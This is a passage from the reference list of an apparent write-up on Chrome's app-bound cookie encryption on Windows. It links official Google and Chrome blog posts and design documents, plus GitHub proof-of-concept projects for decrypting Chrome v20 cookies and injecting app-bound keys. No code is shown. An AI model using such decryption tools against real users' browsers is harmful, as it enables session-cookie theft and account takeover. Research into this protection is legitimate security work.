Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html) (July 30, 2024) 302 | - **Google Design Document:** [Chrome app-bound encryption Service (formerly: Chrome Elevated Data Service)](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view) (Original: Jan 25, 2021, with later updates) 303 | - **Chrome Developers Blog (Remote Debugging):** [Changes to remote debugging switches to improve security](https://developer.chrome.com/blog/remote-debugging-port) (Example: March 17, 2025) 304 | - **Chrome Developers Blog (DBSC):** [Origin trial: Device Bound Session Credentials in Chrome](https://developer.chrome.com/blog/dbsc-origin-trial) 305 | - **runassu's PoC (Admin-level decryption):** [chrome_v20_decryption](https://github.com/runassu/chrome_v20_decryption) 306 | - **Related Research/Tools:** 307 | - [snovvcrash's X/Twitter Profile (Security Researcher)](https://x.com/snovvcrash) 308 | - [SilentDev33's ChromeAppBound-key-injection (Similar PoC)](https://github.com/SilentDev33/ChromeAppBound-key-injection) 309 | --------------------------------------------------------------------------------